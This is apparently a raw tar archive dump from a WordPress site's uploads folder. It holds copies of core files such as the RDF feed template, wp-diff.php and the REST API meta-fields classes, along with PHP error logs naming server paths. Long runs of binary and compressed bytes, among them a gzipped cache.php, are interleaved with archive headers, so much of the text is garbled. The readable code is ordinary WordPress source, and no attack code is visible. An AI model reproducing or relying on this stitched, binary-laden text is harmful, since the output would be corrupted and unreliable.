*yp:BAjM2GG4-<VtFYH/O;ƂnO-S;>kեl湋f&_f<1;޽Ɂ#;@5c`"RqxsocScD2QÆ,0!cXRHMtPn-Ҿ9W_oS[(`+QY.6MPkg
G:	9VIM_2
c?Sƣä M%
FI#{6TѩlXMmk]Hyl{y,}0S3~@RîiyS
LW;G)֑_IbiySr8Yfwg=Rdjp<2s*7!(p x
f\'rq->@S0W}Z96RmjY4ES"Q(2g򛤋Y̅;Y:s8	a;`|{G?>pJPBi.o772Įpb(A^$[WˋN˚+hS6lǏfP?_t*AQ랇g<=h;fؗ7B:f:Z
k*@=]6dM`<%۰8+a>W35D+KmnY=N	7@AP>ǩ3cy3/H?>䐩-=gzwіbZ|%c lTpye@[H,PqґQxwDUT'aoe&f/DK
}7MȞT3.HI0Souk7oocJGKq'EgPl5n҅e|s-D?Օ<Lӝk 8ՖqѬnkU[ug57yTG\6FaݨU.?5@c۳hSWsm`jiHrS:ʚ>[zXD;|&MxEs,uP=i+8#,ȥO({BNPt_H;vi*!x/Fŀ6n+R|uۿqQ$-b6]ΣM/$|ad۝K!+iQrp"b/%*,zuAtDN)#bkHH.1)8<]p~B,Ӓ#p\&ktSG(m8\#*s+Y¯ނ-BTt	啐z+, )m1<ΚvOlXEni⪹f/L>6si׍)t;^_T$26hЬMn^W5[uv#lSE;p]>Nl$¬AbB5(ƹ/p[s[}x
	h
v[[/폕mqކ!ecp:oR]1RF)7_'F:Rg
$M^s_AgЊz⛙]~AomPCgäI͟)Ʒw̋-}&ӼT\*4Wj5_jYoڍ%G/iwS0.Z׸ZiDF70b[gKdlat:wي[;>)%WK;$	_(.Yqdcx\O?{ŧn0v;ToY@7j^H;ŭ@*@8.O72`$#*OKyJ.b
C?ۡ?YzQyo:üPFţr͐eBr%IEܼTL:0furX%G:I,633t??<<|{woe_g2jn{i\z%i<ꛫɓ"_}wcj5cIL1rd}ʡۅt_n.<lį9]Ztm7}sI=|| T$2ʪ&oXb5yTl͵zM=pBs[fKh0[}K7{,3x}BuMs?5H	઒9ZAVnaE_:|+m:Xܺ
0C\Bfcʬ[F3
 3Ԅʵ'bV6D첹t4'^r^5T_{Ja:yhB)p^ס[Ao
!<ޘkAA:v
U"3K1nh&P{7pi92s[zF%*԰KW5Pe!^b95^rBTJs~Wfߪ>Y![w0)5QzCߛ(5c
Y}[:gpUV~H-K_뗚xuš涢5X,ΰèӺ)/?b8nK(m+ҽSe͡)Ss?w'^s{l7K^^{fI.1}[9=N)ꥬV>h!_XEڛ{muBs{轾Wl,W?{LK?U>duploads/wyw/feed-rdf.php.tar000066600000011000152443022640012011 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/feed-rdf.php000064400000005154152442710610020257 0ustar00<?php
/**
 * RSS 1 RDF Feed Template for displaying RSS 1 Posts feed.
 *
 * @package WordPress
 */

header( 'Content-Type: ' . feed_content_type( 'rdf' ) . '; charset=' . get_option( 'blog_charset' ), true );
$more = 1;

echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>';

/** This action is documented in wp-includes/feed-rss2.php */
do_action( 'rss_tag_pre', 'rdf' );
?>
<rdf:RDF
	xmlns="http://purl.org/rss/1.0/"
	xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:admin="http://webns.net/mvcb/"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	<?php
	/**
	 * Fires at the end of the feed root to add namespaces.
	 *
	 * @since 2.0.0
	 */
	do_action( 'rdf_ns' );
	?>
>
<channel rdf:about="<?php bloginfo_rss( 'url' ); ?>">
	<title><?php wp_title_rss(); ?></title>
	<link><?php bloginfo_rss( 'url' ); ?></link>
	<description><?php bloginfo_rss( 'description' ); ?></description>
	<dc:date><?php echo get_feed_build_date( 'Y-m-d\TH:i:s\Z' ); ?>	</dc:date>
	<sy:updatePeriod>
	<?php
		/** This filter is documented in wp-includes/feed-rss2.php */
		echo apply_filters( 'rss_update_period', 'hourly' );
	?>
	</sy:updatePeriod>
	<sy:updateFrequency>
	<?php
		/** This filter is documented in wp-includes/feed-rss2.php */
		echo apply_filters( 'rss_update_frequency', '1' );
	?>
	</sy:updateFrequency>
	<sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>
	<?php
	/**
	 * Fires at the end of the RDF feed header.
	 *
	 * @since 2.0.0
	 */
	do_action( 'rdf_header' );
	?>
	<items>
		<rdf:Seq>
		<?php
		while ( have_posts() ) :
			the_post();
			?>
			<rdf:li rdf:resource="<?php the_permalink_rss(); ?>"/>
		<?php endwhile; ?>
		</rdf:Seq>
	</items>
</channel>
<?php
rewind_posts();
while ( have_posts() ) :
	the_post();
	?>
<item rdf:about="<?php the_permalink_rss(); ?>">
	<title><?php the_title_rss(); ?></title>
	<link><?php the_permalink_rss(); ?></link>

	<dc:creator><![CDATA[<?php the_author(); ?>]]></dc:creator>
	<dc:date><?php echo mysql2date( 'Y-m-d\TH:i:s\Z', $post->post_date_gmt, false ); ?></dc:date>
	<?php the_category_rss( 'rdf' ); ?>

	<?php if ( get_option( 'rss_use_excerpt' ) ) : ?>
		<description><![CDATA[<?php the_excerpt_rss(); ?>]]></description>
	<?php else : ?>
		<description><![CDATA[<?php the_excerpt_rss(); ?>]]></description>
		<content:encoded><![CDATA[<?php the_content_feed( 'rdf' ); ?>]]></content:encoded>
	<?php endif; ?>

	<?php
	/**
	 * Fires at the end of each RDF feed item.
	 *
	 * @since 2.0.0
	 */
	do_action( 'rdf_item' );
	?>
</item>
<?php endwhile; ?>
</rdf:RDF>
uploads/wyw/wp-diff.php.tar000066600000005000152443022640011674 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/wp-diff.php000064400000001437152442706510020143 0ustar00<?php
/**
 * WordPress Diff bastard child of old MediaWiki Diff Formatter.
 *
 * Basically all that remains is the table structure and some method names.
 *
 * @package WordPress
 * @subpackage Diff
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

if ( ! class_exists( 'Text_Diff', false ) ) {
	/** Text_Diff class */
	require ABSPATH . WPINC . '/Text/Diff.php';
	/** Text_Diff_Renderer class */
	require ABSPATH . WPINC . '/Text/Diff/Renderer.php';
	/** Text_Diff_Renderer_inline class */
	require ABSPATH . WPINC . '/Text/Diff/Renderer/inline.php';
	/** Text_Exception class */
	require ABSPATH . WPINC . '/Text/Exception.php';
}

require ABSPATH . WPINC . '/class-wp-text-diff-renderer-table.php';
require ABSPATH . WPINC . '/class-wp-text-diff-renderer-inline.php';
uploads/wyw/cache.php.tar.gz000066600000005164152443022640012035 0ustar00[ms۸OegdvbgƩs37M>d2:$4$({w7zg~I.X$rf,<uxC4aQo84 g?,}u''g?xqƏ_$GO+M%Ls}_K{l<#f&op51O?֙:""c2e)9I6d!)JT&Y_}1޿ͨQ{yӷfF>ޕK0+|}{syOo!qXj}˴"yV7XhLhG"\q“(8C#BSսQEJݝyƛ䂤lҜb1QHD5%Zg_'`*hBchtOkN}~Nh`O0aPDW%OGdUf+FBAT4+bE\{3VwPUU7yu$ph!vK)" H fʌ*1n@̀EP
rņ45aI{K\(~ҊR`5y,"%"T0_7O}<Vp.S2"&w2g0nwɐưJrWwSE@.a/t!U|i}A14pbF~9xMa8nlvьJIKn\bBf<328L"-6,Z6P;Κ`IP/Ka둮[y$\A;9Cd!IdKe	/4taf	$:rFvGJ_LDxTqEK'BPIZQŹ`l9qFH+	%oi%9	G4uBG۶Ӽy~vd*
=
wER${`BД1BHzZHڌ.a
_SN))
KJR璵amn1Z*=q)*<^yXlD__`T9n}WV+_%i$9,yM槎c.CA("o-<dfD({[ѾXj
@A }Ms(0P3,͜W'bf_a+OOLWr뀏r|0냩RuS2|^y)
}J
BQ%lW«O+Bfkp=I$Fۄ[b6%ϚqTOYsɴyf*&i'-91:#~6K~Ԧ{?֚@ (YpFcSp>s8_N3Sd
"W
MU̬vۍ߮)\#`akbs;ж)0[f
i\2y$=(5K:RuT>/@%<&foT7jE]jliUF9Rz@:6<R:i=lu7fi}s^ B6poZ3vm
BПfgӗ+T+8Wm`AZNu^_oeDy`tT:wzY8M-c2ԃ+3DueyYmZm	g^p:V^0O&cO!>\͎ٗg'ky[1Ԣ/(Vo|jP,N=|%Ҿc[xR`9jRE؈FMa,Lx
 TZsKaSymZ{2Nr#rsδRANtm=jnTĝ<52Ucj!qh*g&\CNo]q^<Rf7Sީ;9n}aBD6W?7P&G]5d10-d{XB{mcbqf)HP\^xPLojҩYUA¨ڞ
<72c.4Ra;N̶],%A\3xh$
Zt.~;XC\Z&+8enjsYwgK,Զs+?|tQUPꛦ5kAygbgڄ<H+_Lu/ՙ^^ug݋D	d	6f`)~7qؐ01}$6Afn|[ҙ|𣉍}-(nRS[<&d
:vQX1ӀvSl1]b6,{]=8P_Ԭn0\ e'ת2)!}S:xpDr1DR?!7	f*eZL)2=,rp9$)ȯ0ybl㪚mnA	Wﻹqk@ChMIf,}|
Pcgn$WL7U"47DQ
^
Ǖs؆Li9m$?.vʇ"f*]T'O}swm嫱V:ȼI@~뿖zV<uploads/wyw/rest-api.tar000066600004175000152443022640011312 0ustar00error_log000066600000001721152442706000006466 0ustar00[28-Aug-2026 06:17:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 06:17:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:17:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:17:06 America/Sao_Paulo] PHP Fatal error:  Class 'WP_HTTP_Response' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/class-wp-rest-response.php on line 17
fields/error_log000066600000004154152442706000007737 0ustar00[28-Aug-2026 08:02:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:02:06 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Meta_Fields' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[28-Aug-2026 08:02:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:02:07 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Meta_Fields' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[28-Aug-2026 08:02:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:02:08 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Meta_Fields' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[28-Aug-2026 08:02:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:14:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:14:54 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Meta_Fields' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
fields/class-wp-rest-term-meta-fields.php000066600000002331152442706000014367 0ustar00<?php
/**
 * REST API: WP_REST_Term_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for terms via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Term_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Taxonomy to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy to register fields for.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy = $taxonomy;
	}

	/**
	 * Retrieves the term meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'term';
	}

	/**
	 * Retrieves the term meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->taxonomy;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy;
	}
}
fields/class-wp-rest-comment-meta-fields.php000066600000001577152442706000015075 0ustar00<?php
/**
 * REST API: WP_REST_Comment_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage comment meta via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Comment_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the comment type for comment meta.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'comment';
	}

	/**
	 * Retrieves the comment meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'comment' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'comment';
	}

	/**
	 * Retrieves the type for register_rest_field() in the context of comments.
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'comment';
	}
}
fields/class-wp-rest-post-meta-fields.php000066600000002334152442706000014410 0ustar00<?php
/**
 * REST API: WP_REST_Post_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Post_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Post type to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_type Post type to register fields for.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
	}

	/**
	 * Retrieves the post meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'post';
	}

	/**
	 * Retrieves the post meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->post_type;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_field()
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return $this->post_type;
	}
}
fields/class-wp-rest-meta-fields.php000066600000044122152442706000013426 0ustar00<?php
/**
 * REST API: WP_REST_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage meta values for an object via the REST API.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Meta_Fields {

	/**
	 * Retrieves the object meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string One of 'post', 'comment', 'term', 'user', or anything
	 *                else supported by `_get_meta_table()`.
	 */
	abstract protected function get_meta_type();

	/**
	 * Retrieves the object meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return '';
	}

	/**
	 * Retrieves the object type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type, such as post type name, taxonomy name, 'comment', or `user`.
	 */
	abstract protected function get_rest_field_type();

	/**
	 * Registers the meta field.
	 *
	 * @since 4.7.0
	 * @deprecated 5.6.0
	 *
	 * @see register_rest_field()
	 */
	public function register_field() {
		_deprecated_function( __METHOD__, '5.6.0' );

		register_rest_field(
			$this->get_rest_field_type(),
			'meta',
			array(
				'get_callback'    => array( $this, 'get_value' ),
				'update_callback' => array( $this, 'update_value' ),
				'schema'          => $this->get_field_schema(),
			)
		);
	}

	/**
	 * Retrieves the meta field value.
	 *
	 * @since 4.7.0
	 *
	 * @param int             $object_id Object ID to fetch meta for.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @return array Array containing the meta values keyed by name.
	 */
	public function get_value( $object_id, $request ) {
		$fields   = $this->get_registered_fields();
		$response = array();

		foreach ( $fields as $meta_key => $args ) {
			$name       = $args['name'];
			$all_values = get_metadata( $this->get_meta_type(), $object_id, $meta_key, false );

			if ( $args['single'] ) {
				if ( empty( $all_values ) ) {
					$value = $args['schema']['default'];
				} else {
					$value = $all_values[0];
				}

				$value = $this->prepare_value_for_response( $value, $request, $args );
			} else {
				$value = array();

				if ( is_array( $all_values ) ) {
					foreach ( $all_values as $row ) {
						$value[] = $this->prepare_value_for_response( $row, $request, $args );
					}
				}
			}

			$response[ $name ] = $value;
		}

		return $response;
	}

	/**
	 * Prepares a meta value for a response.
	 *
	 * This is required because some native types cannot be stored correctly
	 * in the database, such as booleans. We need to cast back to the relevant
	 * type before passing back to JSON.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value to prepare.
	 * @param WP_REST_Request $request Current request object.
	 * @param array           $args    Options for the field.
	 * @return mixed Prepared value.
	 */
	protected function prepare_value_for_response( $value, $request, $args ) {
		if ( ! empty( $args['prepare_callback'] ) ) {
			$value = call_user_func( $args['prepare_callback'], $value, $request, $args );
		}

		return $value;
	}

	/**
	 * Updates meta values.
	 *
	 * @since 4.7.0
	 *
	 * @param array $meta      Array of meta parsed from the request.
	 * @param int   $object_id Object ID to fetch meta for.
	 * @return null|WP_Error Null on success, WP_Error object on failure.
	 */
	public function update_value( $meta, $object_id ) {
		$fields = $this->get_registered_fields();
		$error  = new WP_Error();

		foreach ( $fields as $meta_key => $args ) {
			$name = $args['name'];
			if ( ! array_key_exists( $name, $meta ) ) {
				continue;
			}

			$value = $meta[ $name ];

			/*
			 * A null value means reset the field, which is essentially deleting it
			 * from the database and then relying on the default value.
			 *
			 * Non-single meta can also be removed by passing an empty array.
			 */
			if ( is_null( $value ) || ( array() === $value && ! $args['single'] ) ) {
				$args = $this->get_registered_fields()[ $meta_key ];

				if ( $args['single'] ) {
					$current = get_metadata( $this->get_meta_type(), $object_id, $meta_key, true );

					if ( is_wp_error( rest_validate_value_from_schema( $current, $args['schema'] ) ) ) {
						$error->add(
							'rest_invalid_stored_value',
							/* translators: %s: Custom field key. */
							sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
							array( 'status' => 500 )
						);
						continue;
					}
				}

				$result = $this->delete_meta_value( $object_id, $meta_key, $name );
				if ( is_wp_error( $result ) ) {
					$error->merge_from( $result );
				}
				continue;
			}

			if ( ! $args['single'] && is_array( $value ) && count( array_filter( $value, 'is_null' ) ) ) {
				$error->add(
					'rest_invalid_stored_value',
					/* translators: %s: Custom field key. */
					sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
					array( 'status' => 500 )
				);
				continue;
			}

			$is_valid = rest_validate_value_from_schema( $value, $args['schema'], 'meta.' . $name );
			if ( is_wp_error( $is_valid ) ) {
				$is_valid->add_data( array( 'status' => 400 ) );
				$error->merge_from( $is_valid );
				continue;
			}

			$value = rest_sanitize_value_from_schema( $value, $args['schema'] );

			if ( $args['single'] ) {
				$result = $this->update_meta_value( $object_id, $meta_key, $name, $value );
			} else {
				$result = $this->update_multi_meta_value( $object_id, $meta_key, $name, $value );
			}

			if ( is_wp_error( $result ) ) {
				$error->merge_from( $result );
				continue;
			}
		}

		if ( $error->has_errors() ) {
			return $error;
		}

		return null;
	}

	/**
	 * Deletes a meta value for an object.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $object_id Object ID the field belongs to.
	 * @param string $meta_key  Key for the field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @return true|WP_Error True if meta field is deleted, WP_Error otherwise.
	 */
	protected function delete_meta_value( $object_id, $meta_key, $name ) {
		$meta_type = $this->get_meta_type();

		if ( ! current_user_can( "delete_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		if ( null === get_metadata_raw( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
			return true;
		}

		if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				__( 'Could not delete meta value from database.' ),
				array(
					'key'    => $name,
					'status' => WP_Http::INTERNAL_SERVER_ERROR,
				)
			);
		}

		return true;
	}

	/**
	 * Updates multiple meta values for an object.
	 *
	 * Alters the list of values in the database to match the list of provided values.
	 *
	 * @since 4.7.0
	 * @since 6.7.0 Stores values into DB even if provided registered default value.
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param array  $values    List of values to update to.
	 * @return true|WP_Error True if meta fields are updated, WP_Error otherwise.
	 */
	protected function update_multi_meta_value( $object_id, $meta_key, $name, $values ) {
		$meta_type = $this->get_meta_type();

		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		$current_values = get_metadata_raw( $meta_type, $object_id, $meta_key, false );
		$subtype        = get_object_subtype( $meta_type, $object_id );

		if ( ! is_array( $current_values ) ) {
			$current_values = array();
		}

		$to_remove = $current_values;
		$to_add    = $values;

		foreach ( $to_add as $add_key => $value ) {
			$remove_keys = array_keys(
				array_filter(
					$current_values,
					function ( $stored_value ) use ( $meta_key, $subtype, $value ) {
						return $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $value );
					}
				)
			);

			if ( empty( $remove_keys ) ) {
				continue;
			}

			if ( count( $remove_keys ) > 1 ) {
				// To remove, we need to remove first, then add, so don't touch.
				continue;
			}

			$remove_key = $remove_keys[0];

			unset( $to_remove[ $remove_key ] );
			unset( $to_add[ $add_key ] );
		}

		/*
		 * `delete_metadata` removes _all_ instances of the value, so only call once. Otherwise,
		 * `delete_metadata` will return false for subsequent calls of the same value.
		 * Use serialization to produce a predictable string that can be used by array_unique.
		 */
		$to_remove = array_map( 'maybe_unserialize', array_unique( array_map( 'maybe_serialize', $to_remove ) ) );

		foreach ( $to_remove as $value ) {
			if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					/* translators: %s: Custom field key. */
					sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
					array(
						'key'    => $name,
						'status' => WP_Http::INTERNAL_SERVER_ERROR,
					)
				);
			}
		}

		foreach ( $to_add as $value ) {
			if ( ! add_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					/* translators: %s: Custom field key. */
					sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
					array(
						'key'    => $name,
						'status' => WP_Http::INTERNAL_SERVER_ERROR,
					)
				);
			}
		}

		return true;
	}

	/**
	 * Updates a meta value for an object.
	 *
	 * @since 4.7.0
	 * @since 6.7.0 Stores values into DB even if provided registered default value.
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param mixed  $value     Updated value.
	 * @return true|WP_Error True if the meta field was updated, WP_Error otherwise.
	 */
	protected function update_meta_value( $object_id, $meta_key, $name, $value ) {
		$meta_type = $this->get_meta_type();

		// Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false.
		$old_value = get_metadata_raw( $meta_type, $object_id, $meta_key );
		$subtype   = get_object_subtype( $meta_type, $object_id );

		if ( is_array( $old_value ) && 1 === count( $old_value )
			&& $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $old_value[0], $value )
		) {
			return true;
		}

		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		if ( ! update_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
				array(
					'key'    => $name,
					'status' => WP_Http::INTERNAL_SERVER_ERROR,
				)
			);
		}

		return true;
	}

	/**
	 * Checks if the user provided value is equivalent to a stored value for the given meta key.
	 *
	 * @since 5.5.0
	 *
	 * @param string $meta_key     The meta key being checked.
	 * @param string $subtype      The object subtype.
	 * @param mixed  $stored_value The currently stored value retrieved from get_metadata().
	 * @param mixed  $user_value   The value provided by the user.
	 * @return bool
	 */
	protected function is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $user_value ) {
		$args      = $this->get_registered_fields()[ $meta_key ];
		$sanitized = sanitize_meta( $meta_key, $user_value, $this->get_meta_type(), $subtype );

		if ( in_array( $args['type'], array( 'string', 'number', 'integer', 'boolean' ), true ) ) {
			// The return value of get_metadata will always be a string for scalar types.
			$sanitized = (string) $sanitized;
		}

		return $sanitized === $stored_value;
	}

	/**
	 * Retrieves all the registered meta fields.
	 *
	 * @since 4.7.0
	 *
	 * @return array Registered fields.
	 */
	protected function get_registered_fields() {
		$registered = array();

		$meta_type    = $this->get_meta_type();
		$meta_subtype = $this->get_meta_subtype();

		$meta_keys = get_registered_meta_keys( $meta_type );
		if ( ! empty( $meta_subtype ) ) {
			$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $meta_type, $meta_subtype ) );
		}

		foreach ( $meta_keys as $name => $args ) {
			if ( empty( $args['show_in_rest'] ) ) {
				continue;
			}

			$rest_args = array();

			if ( is_array( $args['show_in_rest'] ) ) {
				$rest_args = $args['show_in_rest'];
			}

			$default_args = array(
				'name'             => $name,
				'single'           => $args['single'],
				'type'             => ! empty( $args['type'] ) ? $args['type'] : null,
				'schema'           => array(),
				'prepare_callback' => array( $this, 'prepare_value' ),
			);

			$default_schema = array(
				'type'        => $default_args['type'],
				'title'       => empty( $args['label'] ) ? '' : $args['label'],
				'description' => empty( $args['description'] ) ? '' : $args['description'],
				'default'     => isset( $args['default'] ) ? $args['default'] : null,
			);

			$rest_args           = array_merge( $default_args, $rest_args );
			$rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] );

			$type = ! empty( $rest_args['type'] ) ? $rest_args['type'] : null;
			$type = ! empty( $rest_args['schema']['type'] ) ? $rest_args['schema']['type'] : $type;

			if ( null === $rest_args['schema']['default'] ) {
				$rest_args['schema']['default'] = static::get_empty_value_for_type( $type );
			}

			$rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] );

			if ( ! in_array( $type, array( 'string', 'boolean', 'integer', 'number', 'array', 'object' ), true ) ) {
				continue;
			}

			if ( empty( $rest_args['single'] ) ) {
				$rest_args['schema'] = array(
					'type'  => 'array',
					'items' => $rest_args['schema'],
				);
			}

			$registered[ $name ] = $rest_args;
		}

		return $registered;
	}

	/**
	 * Retrieves the object's meta schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Field schema data.
	 */
	public function get_field_schema() {
		$fields = $this->get_registered_fields();

		$schema = array(
			'description' => __( 'Meta fields.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit' ),
			'properties'  => array(),
			'arg_options' => array(
				'sanitize_callback' => null,
				'validate_callback' => array( $this, 'check_meta_is_array' ),
			),
		);

		foreach ( $fields as $args ) {
			$schema['properties'][ $args['name'] ] = $args['schema'];
		}

		return $schema;
	}

	/**
	 * Prepares a meta value for output.
	 *
	 * Default preparation for meta fields. Override by passing the
	 * `prepare_callback` in your `show_in_rest` options.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value from the database.
	 * @param WP_REST_Request $request Request object.
	 * @param array           $args    REST-specific options for the meta key.
